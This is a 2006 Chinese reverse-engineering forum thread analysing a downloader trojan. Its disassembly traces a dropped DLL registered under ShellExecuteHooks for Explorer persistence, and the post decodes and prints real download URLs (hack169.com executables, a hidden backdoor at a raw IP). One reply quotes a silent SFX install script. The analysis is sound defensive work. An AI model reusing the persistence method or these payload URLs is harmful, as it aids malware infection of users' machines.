首页
社区
课程
招聘
一款木马的分析[原创]
2006-8-3 22:27 18367

一款木马的分析[原创]

nbw 活跃值
24
2006-8-3 22:27
18367
一款木马的分析

by nbw
4 NE365

     为了配合kanxue老大倡议的多发文,加上近来有些乏,找个别的东西分析一下耍耍。随便从网上下了个木马生成器,是个所谓的下载者,就是Downloader。

     名字叫什么 木马基地八一极限下载者,木马么,都喜欢搞得比较牛的样子,其实都比较龌龊,技术和人品一样龌龊。
     
     附件是木马生成器,建议先运行一下看看,生成器无毒。

     我下面分析的是这个生成器产生的木马,配置信息就用默认的。

木马第一次运行

1.读取配置信息

//第一个函数,Delphi编译器产生的用来初始化异常处理之类,比较经典。
0040464B  |.  E8 88F6FFFF   call    00403CD8

0040440E  |.  E8 D9F9FFFF   call    <jmp.&kernel32.GetSystemDirector>; \GetSystemDirectoryA

//这里打开自身文件
004041A9  |.  E8 FEFBFFFF   call    <jmp.&kernel32.CreateFileA>       ; \CreateFileA

//读取文件最后面4个字节
004041B5  |.  6A 02         push    2                                 ; /Origin = FILE_END
004041B7  |.  6A 00         push    0                                 ; |pOffsetHi = NULL
004041B9  |.  6A FC         push    -4                                ; |OffsetLo = FFFFFFFC (-4.)
004041BB  |.  53            push    ebx                               ; |hFile
004041BC  |.  E8 6BFCFFFF   call    <jmp.&kernel32.SetFilePointer>    ; \SetFilePointer
004041C1  |.  6A 00         push    0                                 ; /pOverlapped = NULL
004041C3  |.  8D45 F8       lea     eax, [ebp-8]                      ; |
004041C6  |.  50            push    eax                               ; |pBytesRead
004041C7  |.  6A 04         push    4                                 ; |BytesToRead = 4
004041C9  |.  8D45 F4       lea     eax, [ebp-C]                      ; |
004041CC  |.  50            push    eax                               ; |Buffer
004041CD  |.  53            push    ebx                               ; |hFile
004041CE  |.  E8 49FCFFFF   call    <jmp.&kernel32.ReadFile>          ; \ReadFile

//将结果异或以下,象征性加过密
004041D3  |.  8175 F4 697A6>xor     dword ptr [ebp-C], 4D617A69

//根据该结果重新定位文件指针地址
004041EB  |.  8B45 F4       mov     eax, [ebp-C]                      ; |
004041EE  |.  F7D8          neg     eax                               ; |
004041F0  |.  50            push    eax                               ; |OffsetLo
004041F1  |.  53            push    ebx                               ; |hFile
004041F2  |.  E8 35FCFFFF   call    <jmp.&kernel32.SetFilePointer>    ; \SetFilePointer

//读取开始设置的配置信息
00404212  |.  50            push    eax                               ; |Buffer
00404213  |.  53            push    ebx                               ; |hFile
00404214  |.  E8 03FCFFFF   call    <jmp.&kernel32.ReadFile>          ; \ReadFile

0040421A  |.  E8 85FBFFFF   call    <jmp.&kernel32.CloseHandle>       ; \CloseHandle

2.创建DLL文件

//试图删除文件"C:\Program Files\Common Files\Microsoft Shared\MSINFO\InfoMs.dlt"
004046D9  |.  E8 D6F6FFFF   call    <jmp.&kernel32.DeleteFileA>       ; \DeleteFileA

如果删除不了,则设置该文件为下次开机后由系统删除。

//查找资源
004040A6  |.  53            push    ebx                               ; /ResourceType
004040A7  |.  56            push    esi                               ; |ResourceName
004040A8  |.  A1 50664000   mov     eax, [406650]                     ; |
004040AD  |.  50            push    eax                               ; |hModule => 00400000 (Hack169)
004040AE  |.  E8 09FDFFFF   call    <jmp.&kernel32.FindResourceA>     ; \FindResourceA

004040BD  |.  57            push    edi                               ; /hResource
004040BE  |.  A1 50664000   mov     eax, [406650]                     ; |
004040C3  |.  50            push    eax                               ; |hModule => 00400000 (Hack169)
004040C4  |.  E8 3BFDFFFF   call    <jmp.&kernel32.LoadResource>      ; \LoadResource

004040D3  |.  56            push    esi                               ; /hResource
004040D4  |.  E8 33FDFFFF   call    <jmp.&kernel32.LockResource>      ; \LockResource

//创建文件:"C:\Program Files\Common Files\Microsoft Shared\MSINFO\InfoMs.dlt"
004040F5  |.  E8 B2FCFFFF   call    <jmp.&kernel32.CreateFileA>       ; \CreateFileA

00404108  |.  E8 27FDFFFF   call    <jmp.&kernel32.SizeofResource>    ; \SizeofResource

//将加载的资源写入该文件
0040411B  |.  E8 1CFDFFFF   call    <jmp.&kernel32.WriteFile>         ; \WriteFile

//将上面读取得配置信息写入该文件
00404139  |.  50            push    eax                               ; |Buffer
0040413A  |.  53            push    ebx                               ; |hFile
0040413B  |.  E8 FCFCFFFF   call    <jmp.&kernel32.WriteFile>         ; \WriteFile
00404140  |.  53            push    ebx                               ; /hFile
00404141  |.  E8 DEFCFFFF   call    <jmp.&kernel32.SetEndOfFile>      ; \SetEndOfFile
00404146  |.  53            push    ebx                               ; /hObject
00404147  |.  E8 58FCFFFF   call    <jmp.&kernel32.CloseHandle>       ; \CloseHandle

//释放资源
00404154  |.  E8 73FCFFFF   call    <jmp.&kernel32.FreeResource>      ; \FreeResource

3.加载该DLL

00404735  |.  68 50484000   push    00404850                          ; /Title = "yundao"
0040473A  |.  68 58484000   push    00404858                          ; |Class = "ScrollBar"
0040473F  |.  E8 18F7FFFF   call    <jmp.&user32.FindWindowA>         ; \FindWindowA

//加载创建的DLL:"C:\Program Files\Common Files\Microsoft Shared\MSINFO\InfoMs.dlt"
0040474D  |.  E8 AAF6FFFF   call    <jmp.&kernel32.LoadLibraryA>      ; \LoadLibraryA

//获得该DLL导出的2个函数
0040475C  |.  68 64484000   push    00404864                          ; /ProcNameOrOrdinal = "MsgHookOff"
00404761  |.  53            push    ebx                               ; |hModule
00404762  |.  E8 75F6FFFF   call    <jmp.&kernel32.GetProcAddress>    ; \GetProcAddress
00404767  |.  A3 B0664000   mov     [4066B0], eax
0040476C  |.  68 70484000   push    00404870                          ; /ProcNameOrOrdinal = "MsgHookOn"
00404771  |.  53            push    ebx                               ; |hModule
00404772  |.  E8 65F6FFFF   call    <jmp.&kernel32.GetProcAddress>    ; \GetProcAddress

//为自己创建一个窗体
00403EBD  |.  E8 B6FFFFFF   call    <jmp.&user32.CreateWindowExA>     ; \CreateWindowExA

//调用上面的DLL导出的函数
004047B3  |.  FF15 B4664000 call    [4066B4]                          ;  InfoMs.MsgHookOn

//设置了一个钩子,这个钩子啥都没做,也比较艹蛋
00A35570    E8 BBEEFFFF     call    <jmp.&user32.SetWindowsHookExA>

//进入消息循环,不过循环2下就出来了
004047BB  |> /68 94664000   /push    00406694                         ; /pMsg = WM_NULL
004047C0  |. |E8 8FF6FFFF   |call    <jmp.&user32.DispatchMessageA>   ; \DispatchMessageA
004047C5  |> |6A 00          push    0                                ; /MsgFilterMax = 0
004047C7  |. |6A 00         |push    0                                ; |MsgFilterMin = 0
004047C9  |. |6A 00         |push    0                                ; |hWnd = NULL
004047CB  |. |68 94664000   |push    00406694                         ; |pMsg = Hack169.00406694
004047D0  |. |E8 8FF6FFFF   |call    <jmp.&user32.GetMessageA>        ; \GetMessageA
004047D5  |. |85C0          |test    eax, eax
004047D7  |.^\75 E2         \jnz     short 004047BB

//调用DLL导出的MsgHookOff,里面就是把刚才下的钩子卸掉
004047D9  |.  FF15 B0664000 call    [4066B0]                          ;  InfoMs.MsgHookOff

4.注册表处理

//HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks
0040405C  |.  E8 33FDFFFF   call    <jmp.&advapi32.RegCreateKeyExA>   ; \RegCreateKeyExA

//"{F630F902-0922-45C8-B820-C8AF4C610C28}"
00404073  |.  E8 24FDFFFF   call    <jmp.&advapi32.RegSetValueExA>    ; \RegSetValueExA

//HKEY_CLASSES_ROOT\CLSID\{F630F902-0922-45C8-B820-C8AF4C610C28}
0040405C  |.  E8 33FDFFFF   call    <jmp.&advapi32.RegCreateKeyExA>   ; \RegCreateKeyExA

00404073  |.  E8 24FDFFFF   call    <jmp.&advapi32.RegSetValueExA>    ; \RegSetValueExA

//HKEY_CLASSES_ROOT\CLSID\{F630F902-0922-45C8-B820-C8AF4C610C28}\InProcServer32"
0040405C  |.  E8 33FDFFFF   call    <jmp.&advapi32.RegCreateKeyExA>   ; \RegCreateKeyExA

//buffer:C:\Program Files\Common Files\Microsoft Shared\MSINFO\InfoMs.dlt
00404073  |.  E8 24FDFFFF   call    <jmp.&advapi32.RegSetValueExA>    ; \RegSetValueExA

/*
0012FF34   80000000  |hKey = HKEY_CLASSES_ROOT
0012FF38   0093026C  |Subkey = "CLSID\{F630F902-0922-45C8-B820-C8AF4C610C28}\InProcServer32"
*/
0040405C  |.  E8 33FDFFFF   call    <jmp.&advapi32.RegCreateKeyExA>   ; \RegCreateKeyExA

/*
buffer:
004043C4  Apartment
*/
00404073  |.  E8 24FDFFFF   call    <jmp.&advapi32.RegSetValueExA>    ; \RegSetValueExA

退出。

作者:nbw 4 NE365 。近来总有人修改版权,没办法,只好在中间插个广告了。   继续看。

下面分析InfoMs.dlt

由于上面将该DLL注册为ShellExecuteHooks项,所以该DLL会被explorer加载。

这里判断加载该DLL的是否为Explorer

//String1 = "LOADDLL.EXE"
//String2 = "Explorer.Exe"
00785738        |.  E8 ABECF>call <jmp.&kernel32.lstrcmpiA>                        ; \lstrcmpiA

如果不是则退出。

//从文件末尾读取配置文件

00784634        |.  E8 47FDF>call <jmp.&kernel32.CreateFileA>                      ; \CreateFileA

0078464B        |.  E8 88FDF>call <jmp.&kernel32.SetFilePointer>                   ; \SetFilePointer

0078465A        |.  E8 69FDF>call <jmp.&kernel32.ReadFile>                         ; \ReadFile

0078467F        |.  E8 54FDF>call <jmp.&kernel32.SetFilePointer>                   ; \SetFilePointer

007846A1        |.  E8 22FDF>call <jmp.&kernel32.ReadFile>                         ; \ReadFile

//将配置信息解密
00784554        |> /8A93 C46>/mov dl,byte ptr ds:[ebx+7860C4]
0078455A        |. |8B0C24   |mov ecx,dword ptr ss:[esp]
0078455D        |. |3011     |xor byte ptr ds:[ecx],dl
0078455F        |. |FF0424   |inc dword ptr ss:[esp]
00784562        |. |43       |inc ebx
00784563        |. |81E3 070>|and ebx,80000007
00784569        |. |79 05    |jns short InfoMs.00784570
0078456B        |. |4B       |dec ebx
0078456C        |. |83CB F8  |or ebx,FFFFFFF8
0078456F        |. |43       |inc ebx
00784570        |> |48       |dec eax
00784571        |.^\75 E1    \jnz short InfoMs.00784554

得到:

00BA0050  DownHeader..http://www.hack169.com/1.exe..http://www.hack169.com
00BA0090  /2.exe..http://www.hack169.com/3.exe..http://www.hack169.com/4.e
00BA00D0  xe..http://www.hack169.com/5.exe..http://www.hack169.com/6.exe..
00BA0110  http://www.hack169.com/7.exe..作者:RobBer QQ:3035777..欢迎访问
00BA0150  木马基地 www.Hack169.com..$,,....

也就是开始我们设置的下载信息等。

下面解析上面的这个结构,具体略。

007857A6        |.  68 08587>push InfoMs.00785808                                  ; /Title = "yundao"
007857AB        |.  68 10587>push InfoMs.00785810                                  ; |Class = "ScrollBar"
007857B0        |.  E8 4BECF>call <jmp.&user32.FindWindowA>                        ; \FindWindowA

//启动了一个线程
007857B9        |.  68 D0777>push InfoMs.007877D0                                  ; /pThreadId = InfoMs.007877D0
007857BE        |.  6A 00    push 0                                                ; |CreationFlags = 0
007857C0        |.  6A 42    push 42                                               ; |pThreadParm = 00000042
007857C2        |.  68 F4537>push InfoMs.007853F4                                  ; |ThreadFunction = InfoMs.007853F4
007857C7        |.  6A 00    push 0                                                ; |StackSize = 0
007857C9        |.  6A 00    push 0                                                ; |pSecurity = NULL
007857CB        |.  E8 C0EBF>call <jmp.&kernel32.CreateThread>                     ; \CreateThread

下面研究一下这个线程:

007853FB        |.  68 94547>push InfoMs.00785494                                  ; /Title = "yundao"
00785400        |.  68 9C547>push InfoMs.0078549C                                  ; |Class = "ScrollBar"
00785405        |.  E8 F6EFF>call <jmp.&user32.FindWindowA>                        ; \FindWindowA

0078448C        |.  50       push eax                                              ; |WindowName
0078448D        |.  57       push edi                                              ; |Class
0078448E        |.  56       push esi                                              ; |ExtStyle
0078448F        |.  E8 B4FFF>call <jmp.&user32.CreateWindowExA>                    ; \CreateWindowExA

//"C:\Program Files\Common Files\Microsoft Shared\MSInfo\InfoMs.dlt"
00785420        |.  E8 9BEFF>call <jmp.&kernel32.LoadLibraryA>                     ; \LoadLibraryA

//这里设置了一个时间事件
00785156        |> \68 2C517>push InfoMs.0078512C                                  ; /Timerproc = InfoMs.0078512C
0078515B        |.  68 E0930>push 493E0                                            ; |Timeout = 300000. ms
00785160        |.  6A 00    push 0                                                ; |TimerID = 0
00785162        |.  6A 00    push 0                                                ; |hWnd = NULL
00785164        |.  E8 BFF2F>call <jmp.&user32.SetTimer>                           ; \SetTimer

//又设置了一个时间事件2
00785382        |> \68 60537>push InfoMs.00785360                                  ; /Timerproc = InfoMs.00785360
00785387        |.  68 C0270>push 927C0                                            ; |Timeout = 600000. ms
0078538C        |.  6A 00    push 0                                                ; |TimerID = 0
0078538E        |.  6A 00    push 0                                                ; |hWnd = NULL
00785390        |.  E8 93F0F>call <jmp.&user32.SetTimer>                           ; \SetTimer

//进入自身消息循环
00785458        |> /8D45 E4  /lea eax,dword ptr ss:[ebp-1C]
0078545B        |. |50       |push eax                                             ; /pMsg
0078545C        |. |E8 97EFF>|call <jmp.&user32.DispatchMessageA>                  ; \DispatchMessageA
00785461        |> |6A 00     push 0                                               ; /MsgFilterMax = 0
00785463        |. |6A 00    |push 0                                               ; |MsgFilterMin = 0
00785465        |. |6A 00    |push 0                                               ; |hWnd = NULL
00785467        |. |8D45 E4  |lea eax,dword ptr ss:[ebp-1C]                        ; |
0078546A        |. |50       |push eax                                             ; |pMsg
0078546B        |. |E8 98EFF>|call <jmp.&user32.GetMessageA>                       ; \GetMessageA
00785470        |. |85C0     |test eax,eax
00785472        |.^\75 E4    \jnz short InfoMs.00785458

我们看一下上面的2个时间事件。

事件1:

既然是下载者,就要从网上下载东西下来,下载的东西就是开始设置的。这个时间事件就处理这个东西。

00784AA4            |> /8B07     /mov eax,dword ptr ds:[edi]
00784AA6            |. |833C98 0>|cmp dword ptr ds:[eax+ebx*4],0
00784AAA            |. |74 18    |je short InfoMs.00784AC4
00784AAC            |. |8B07     |mov eax,dword ptr ds:[edi]
00784AAE            |. |8B0498   |mov eax,dword ptr ds:[eax+ebx*4]
00784AB1            |. |E8 C6FEF>|call InfoMs.0078497C
00784AB6            |. |85C0     |test eax,eax
00784AB8            |. |74 0A    |je short InfoMs.00784AC4
00784ABA            |. |8B07     |mov eax,dword ptr ds:[edi]
00784ABC            |. |8D0498   |lea eax,dword ptr ds:[eax+ebx*4]
00784ABF            |. |E8 14E9F>|call InfoMs.007833D8
00784AC4            |> |43       |inc ebx
00784AC5            |. |4E       |dec esi
00784AC6            |.^\75 DC    \jnz short InfoMs.00784AA4

具体:

00784B93            |.  E8 20F8F>call <jmp.&kernel32.GetTempPathA>                     ; \GetTempPathA

判断临时目录里是否有1.exe,如果有,则删除

//"C:\DOCUME~1\nbw1\LOCALS~1\Temp\1.exe"
007849CD            |.  E8 AA010>call <jmp.&shlwapi.PathFileExistsA>                   ; \PathFileExistsA
007849D2            |.  85C0     test eax,eax
007849D4            |.  74 06    je short InfoMs.007849DC
007849D6            |.  53       push ebx                                              ; /FileName
007849D7            |.  E8 BCF9F>call <jmp.&kernel32.DeleteFileA>                      ; \DeleteFileA

从指定的URL下载文件,运行之:

//"http://www.hack169.com/1.exe"
//"C:\DOCUME~1\nbw1\LOCALS~1\Temp\1.exe"
00784A34            |.  E8 C3FEF>call <jmp.&URLMON.URLDownloadToFileA>

00784A3D            |.  6A 05    push 5                                           ; /IsShown = 5
00784A3F            |.  6A 00    push 0                                           ; |DefDir = NULL
00784A41            |.  6A 00    push 0                                           ; |Parameters = NULL
00784A43            |.  53       push ebx                                         ; |FileName
00784A44            |.  68 804A7>push InfoMs.00784A80                             ; |Operation = "open"
00784A49            |.  6A 00    push 0                                           ; |hWnd = NULL
00784A4B            |.  E8 ECFEF>call <jmp.&shell32.ShellExecuteA>                ; \ShellExecuteA

如此往复,会把我们生成木马时候设置的URL都连接一遍下来运行一下。

然后看看时间事件2:

//这里传递一个字符串,明显是加密后的
00785321            |.  B8 40537>mov eax,InfoMs.00785340                          ;  ASCII "nrrv<))qqq(englogh>(eik)nk(r~r"
00785326            |.  E8 65FFF>call InfoMs.00785290

//解密这个字符串:
00785210            |> /8B45 FC  /mov eax,dword ptr ss:[ebp-4]
00785213            |. |8A4418 F>|mov al,byte ptr ds:[eax+ebx-1]
00785217            |. |24 0F    |and al,0F
00785219            |. |8B55 F8  |mov edx,dword ptr ss:[ebp-8]
0078521C            |. |8A5432 F>|mov dl,byte ptr ds:[edx+esi-1]
00785220            |. |80E2 0F  |and dl,0F
00785223            |. |32C2     |xor al,dl
00785225            |. |8845 F3  |mov byte ptr ss:[ebp-D],al
00785228            |. |8D45 FC  |lea eax,dword ptr ss:[ebp-4]
0078522B            |. |E8 1CE5F>|call InfoMs.0078374C
00785230            |. |8B55 FC  |mov edx,dword ptr ss:[ebp-4]
00785233            |. |8A541A F>|mov dl,byte ptr ds:[edx+ebx-1]
00785237            |. |80E2 F0  |and dl,0F0
0078523A            |. |8A4D F3  |mov cl,byte ptr ss:[ebp-D]
0078523D            |. |02D1     |add dl,cl
0078523F            |. |885418 F>|mov byte ptr ds:[eax+ebx-1],dl
00785243            |. |46       |inc esi
00785244            |. |8B45 F8  |mov eax,dword ptr ss:[ebp-8]
00785247            |. |E8 A8E2F>|call InfoMs.007834F4
0078524C            |. |3BF0     |cmp esi,eax
0078524E            |. |7E 05    |jle short InfoMs.00785255
00785250            |. |BE 01000>|mov esi,1
00785255            |> |43       |inc ebx
00785256            |. |4F       |dec edi
00785257            |.^\75 B7    \jnz short InfoMs.00785210

得到:

00BA0528  http://www.chajian8.com/hm.txt

00784D5A            |.  68 3C4E7>push InfoMs.00784E3C                             ;  ASCII "Open3"
00784D5F            |.  E8 C8FDF>call <jmp.&wininet.InternetOpenA>

//连接上面的URL:"http://www.chajian8.com/hm.txt"
00784D88            |.  E8 A7FDF>call <jmp.&wininet.InternetOpenUrlA>

//读取该URL的内容:
00784DA1            |> /833F 00  /cmp dword ptr ds:[edi],0
00784DA4            |. |74 56    |je short InfoMs.00784DFC
00784DA6            |. |8D85 F0F>|lea eax,dword ptr ss:[ebp-410]
00784DAC            |. |50       |push eax
00784DAD            |. |8D85 ECF>|lea eax,dword ptr ss:[ebp-414]
00784DB3            |. |8D95 F4F>|lea edx,dword ptr ss:[ebp-40C]
00784DB9            |. |B9 00040>|mov ecx,400
00784DBE            |. |E8 D9E6F>|call InfoMs.0078349C
00784DC3            |. |8B85 ECF>|mov eax,dword ptr ss:[ebp-414]
00784DC9            |. |8B0F     |mov ecx,dword ptr ds:[edi]
00784DCB            |. |BA 01000>|mov edx,1
00784DD0            |. |E8 7FE9F>|call InfoMs.00783754
00784DD5            |. |8B95 F0F>|mov edx,dword ptr ss:[ebp-410]
00784DDB            |. |8BC3     |mov eax,ebx
00784DDD            |. |E8 1AE7F>|call InfoMs.007834FC
00784DE2            |> |57        push edi
00784DE3            |. |68 00040>|push 400
00784DE8            |. |8D85 F4F>|lea eax,dword ptr ss:[ebp-40C]
00784DEE            |. |50       |push eax
00784DEF            |. |8B45 F8  |mov eax,dword ptr ss:[ebp-8]
00784DF2            |. |50       |push eax
00784DF3            |. |E8 44FDF>|call <jmp.&wininet.InternetReadFile>
00784DF8            |. |85C0     |test eax,eax
00784DFA            |.^\75 A5    \jnz short InfoMs.00784DA1

00784E00            |.  E8 1FFDF>call <jmp.&wininet.InternetCloseHandle>

00784E09            |.  E8 16FDF>call <jmp.&wininet.InternetCloseHandle>

获得的内容是什么呢?可以自己去看一下这个URL:

nrrv<))07(721(77>(475)gb7(c~c

明显这又是个加密后的数据,解密该内容,方法同上面的解密,得到:

http://61.147.118.213/ad1.exe

//连接该地址"http://61.147.118.213/ad1.exe"
00784D88            |.  E8 A7FDF>call <jmp.&wininet.InternetOpenUrlA>

//读取内容
00784DA1            |> /833F 00  /cmp dword ptr ds:[edi],0
00784DA4            |. |74 56    |je short InfoMs.00784DFC
00784DA6            |. |8D85 F0F>|lea eax,dword ptr ss:[ebp-410]
00784DAC            |. |50       |push eax
00784DAD            |. |8D85 ECF>|lea eax,dword ptr ss:[ebp-414]
00784DB3            |. |8D95 F4F>|lea edx,dword ptr ss:[ebp-40C]
00784DB9            |. |B9 00040>|mov ecx,400
00784DBE            |. |E8 D9E6F>|call InfoMs.0078349C
00784DC3            |. |8B85 ECF>|mov eax,dword ptr ss:[ebp-414]
00784DC9            |. |8B0F     |mov ecx,dword ptr ds:[edi]
00784DCB            |. |BA 01000>|mov edx,1
00784DD0            |. |E8 7FE9F>|call InfoMs.00783754
00784DD5            |. |8B95 F0F>|mov edx,dword ptr ss:[ebp-410]
00784DDB            |. |8BC3     |mov eax,ebx
00784DDD            |. |E8 1AE7F>|call InfoMs.007834FC
00784DE2            |> |57        push edi
00784DE3            |. |68 00040>|push 400
00784DE8            |. |8D85 F4F>|lea eax,dword ptr ss:[ebp-40C]
00784DEE            |. |50       |push eax
00784DEF            |. |8B45 F8  |mov eax,dword ptr ss:[ebp-8]
00784DF2            |. |50       |push eax
00784DF3            |. |E8 44FDF>|call <jmp.&wininet.InternetReadFile>
00784DF8            |. |85C0     |test eax,eax
00784DFA            |.^\75 A5    \jnz short InfoMs.00784DA1

//"C:\DOCUME~1\nbw1\LOCALS~1\Temp\ad1.exe.exe"
00784E58            |.  55       push ebp                                         ; /FileName
00784E59            |.  E8 3AF5F>call <jmp.&kernel32.DeleteFileA>                 ; \DeleteFileA

//创建文件"C:\DOCUME~1\nbw1\LOCALS~1\Temp\ad1.exe.exe"
00784E71            |.  E8 0AF5F>call <jmp.&kernel32.CreateFileA>                 ; \CreateFileA

//将上面从网上下载的内容存放到该文件内
00784E93            |.  50       push eax                                         ; |Buffer
00784E94            |.  53       push ebx                                         ; |hFile
00784E95            |.  E8 46F5F>call <jmp.&kernel32.WriteFile>                   ; \WriteFile
00784E9A            |.  53       push ebx                                         ; /hFile
00784E9B            |.  E8 30F5F>call <jmp.&kernel32.SetEndOfFile>                ; \SetEndOfFile

//启动该文件"C:\DOCUME~1\nbw1\LOCALS~1\Temp\ad1.exe.exe"
00784F0A            |.  E8 79F4F>call <jmp.&kernel32.CreateProcessA>              ; \CreateProcessA

这个ad1.exe,就是木马作者留的后门,我们开始并不知道。貌似是个流氓软件。

总结一下,这个所谓的下载者释放了一个dll,利用稍微特殊点的手段(其实也不是什么技术),把这个dll加载到Explorer里面;

dll的末尾是需要下载的URL地址之类,将该信息解析出来,然后下载下来执行,可以是木马之类;

另外该dll会下载http://61.147.118.213/ad1.exe执行,这个是木马作者自己放的,从他提供的生成器中是看不到的。写木马么,除了有些rpwt,也要挣钱嘛。

附件是木马生成器,可以运行,无毒。

生成的木马文件不建议运行。

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

上传的附件:
收藏
点赞7
打赏
分享
最新回复 (35)
雪    币: 114
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
无奈无赖 2006-8-3 22:37
2
0
呵呵,强!RPWT。哈哈。。
雪    币: 415
活跃值: (34)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
笨奔 1 2006-8-3 23:05
3
0
分析透彻,教学范本.
雪    币: 26435
活跃值: (18467)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2006-8-3 23:09
4
0
最初由 nbw 发布
00404073 |. E8 24FDFFFF call <jmp.&advapi32.RegSetValueExA> ; \RegSetValueExA

退出。


作者:nbw 4 NE365 。近来总有人修改版权,没办法,只好在中间插个广告了。 继续看。

下面分析InfoMs.dlt


这招强,只有nbw想的出 ;)
雪    币: 81550
活跃值: (198051)
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
linhanshi 2006-8-3 23:12
5
0
雪    币: 227
活跃值: (370)
能力值: ( LV9,RANK:530 )
在线值:
发帖
回帖
粉丝
lnn1123 13 2006-8-3 23:27
6
0
,防盗系统正式启动
雪    币: 63
活跃值: (66)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
goodcode 2 2006-8-3 23:49
7
0
http://bbs.zndev.com/htm_data/90/0512/103739.html
win2k/xp进程隐藏

放这个代码的作者在Bin目录下放了一个演示程序
比较懒的人 比如我 就没有编译直接运行了 后来觉得从文件大小和启动时间上都不对 回去看了一下后面人的恢复原来是作者放了木马... 这个木马金山毒霸是扫不出来的 我上报了病毒金山公司告诉我这个不是病毒...
尊敬的用户:

    您好!首先感谢您对金山毒霸的支持和信任!

    您上报的文件未能检测到病毒,如果您提交样本时,有下列情况之一,请您修正后,重新尝试提交:

    1、您可能没有找到真正需要上传的样本文件,建议您使用我们提供的可疑文件检测工具,在最新版本毒霸6的安装目录,查找并运行文件名为TrojanDetector.exe 的程序,您也可以单击这里http://db.kingsoft.com/download/3/158.shtml下载此工具。

    2、您是否在提交样本时,打开了防火墙,这样的话,您可能会提交一个空的压缩文件,请您关闭防火墙后重新提交。

    3、您是否打开了启发式查毒,建议一般情况下请关闭这个选项。

4、您提交的样本文件是否用Winrar或者Winzip加密压缩过,请您不要提交加密的样本。

请注意修改windows 2000,windows xp系统管理员口令,不要使用空口令或弱口令,安全的密码建议为字母、数字、特殊字符的组合。另外,定期使用 windows update修补系统安全漏洞。有关进一步的信息,请参考windows帮助。

     对于windows me和 windows xp操作系统,强烈建议清除病毒前,关闭系统还原功能,具体的关闭方法,请参考windows的帮助信息。

如果您发现其他问题,请您登陆 http://kefu.kingsoft.com/及时跟我们联系,金山毒霸的每一进步,都有您的功劳

我的分析大概是这样
启动bin\hideproc2.exe
从hideproc2.exe的资源setup->2001中提取数据 分别建立
temp2.bin
temp222.bin
在系统目录
然后hideproc2.exe打开上面文件 经过解码建立文件
win2k1.dll win2k2.dll 并且删除上面两个文件

依次启动win2k1.dll

不知道分析的对不对大家也可以跟跟试试
win2k2.dll
这两个其实是exe文件
第一个文件为debug模式的hideproc2项目
第二个是rar自解压档
脚本
;The comment below contains SFX script commands

Path=%SystemRoot%\System32
SavePath
Setup=rundll32 sqlview.dll ondll_install
Setup=rundll32 sqlview.dll random_install
Setup=net start "Network Distribution Service"
Silent=1
Overwrite=1

奇怪的是为什么启动这两个进程的时候要用事件等待 明显就会看出程序有停顿现象

接着自解压档被执行
系统system32中多了个sqlview.dll
是用ASPack 2.11 压缩了3次还是4次
[s:2]

10006CE2   .  68 548C0110   PUSH    unpacked.10018C54                           ; |audiodevui.dll

Application Management
Network Distribution Service
雪    币: 7300
活跃值: (3758)
能力值: (RANK:1130 )
在线值:
发帖
回帖
粉丝
海风月影 22 2006-8-4 14:09
8
0
牛人出手了!!没来得及看呢,先顶一下
雪    币: 338
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
bfqyygy 1 2006-8-4 16:11
9
0
强!膜拜一下!
雪    币: 222
活跃值: (40)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
koala 3 2006-8-4 18:38
10
0
好文,支持一下
雪    币: 721
活跃值: (350)
能力值: ( LV9,RANK:1250 )
在线值:
发帖
回帖
粉丝
happytown 31 2006-8-4 18:44
11
0
牛B王出招了。呵呵
雪    币: 182
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dennislwy 2006-8-4 18:59
12
0
分析的很好啊!!

基本每个CALL都有!!
雪    币: 233
活跃值: (41)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
testyy 2006-8-4 19:38
13
0
广告更加精彩
雪    币: 257
活跃值: (369)
能力值: ( LV12,RANK:370 )
在线值:
发帖
回帖
粉丝
newsearch 9 2006-8-5 15:43
14
0
母马遇到公牛 支持!
雪    币: 4
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
Dion_love 2006-8-5 18:14
15
0
顶起
雪    币: 1221
活跃值: (464)
能力值: (RANK:460 )
在线值:
发帖
回帖
粉丝
monkeycz 11 2006-8-5 22:16
16
0
支持阿
雪    币: 2504
活跃值: (995)
能力值: (RANK:990 )
在线值:
发帖
回帖
粉丝
CCDebuger 24 2006-8-5 22:24
17
0
别看广告,看疗效
雪    币: 325
活跃值: (1510)
能力值: ( LV13,RANK:970 )
在线值:
发帖
回帖
粉丝
nbw 24 2006-8-5 23:16
18
0
汗,太不单纯了。

今天还跟谁说来着,回头把市面上常见的病毒挑一些典型的,大家讨论一下,也好做些防木马的普及。关键是没样本阿,我上网下的未必有代表性,哪有牛人贡献一批“典型”出来就好了。
雪    币: 396
活跃值: (343)
能力值: (RANK:650 )
在线值:
发帖
回帖
粉丝
shoooo 16 2006-8-5 23:21
19
0
非典型的咋办?
雪    币: 487
活跃值: (107)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
NoneName 1 2006-8-5 23:30
20
0
最初由 kanxue 发布
这招强,只有nbw想的出 ;)

雪    币: 816
活跃值: (4039)
能力值: ( LV9,RANK:3410 )
在线值:
发帖
回帖
粉丝
fly 85 2006-8-5 23:30
21
0
不懂木马啊
只会用卡巴斯基+冰刃
还有shoooo的眼睛
雪    币: 325
活跃值: (1510)
能力值: ( LV13,RANK:970 )
在线值:
发帖
回帖
粉丝
nbw 24 2006-8-5 23:39
22
0
最初由 shoooo 发布
非典型的咋办?


我们挑技术典型,非典型不管。

我从技术和社会工程学方面考虑过,非典型的不会大规模传播,大部分人都碰不到,也不用管。
雪    币: 396
活跃值: (343)
能力值: (RANK:650 )
在线值:
发帖
回帖
粉丝
shoooo 16 2006-8-5 23:41
23
0
最初由 nbw 发布
我们挑技术典型,非典型不管。

我从技术和社会工程学方面考虑过,非典型的不会大规模传播,大部分人都碰不到,也不用管。


非典型的万一要是大规模传播,能搞定就强了
比如肺炎什么的
雪    币: 158
活跃值: (43)
